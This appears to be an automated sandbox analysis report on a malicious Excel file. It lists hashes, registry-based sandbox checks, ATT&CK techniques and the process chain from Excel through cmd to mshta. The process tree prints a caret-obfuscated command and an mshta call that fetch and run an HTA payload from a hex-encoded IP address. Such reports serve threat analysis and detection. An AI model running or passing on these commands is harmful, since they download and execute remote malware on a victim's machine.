7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
189s
max time network
238s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-106.xls
Size

65KB
MD5

2763aef16870a1b373fdf14c6ac811ad
SHA1

b8030cb7ba26cfced89126a23524a8f61ed72129
SHA256

627d8f3bbf507ca99ff8a25eda4d37db4876166f84dd5be05d032f53b275c20b
SHA512

013463943a7c47afe2b85c5c1ec877c3f159ec7c281085acbfc7efb67e8f9087d577f6ea41217842286dc76a19486fc5e4398eef90a2b4d0fbf852f98b0434b1

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3648	3296	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

29 696 mshta.exe

flow	pid	process
29	696	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3296 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3296 wrote to memory of 3648	3296	EXCEL.EXE	cmd.exe
PID 3296 wrote to memory of 3648	3296	EXCEL.EXE	cmd.exe
PID 3648 wrote to memory of 696	3648	cmd.exe	mshta.exe
PID 3648 wrote to memory of 696	3648	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-106.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3296

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3648

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:696

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3296-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-119-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/3296-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/3296-302-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-303-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-304-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3296-305-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download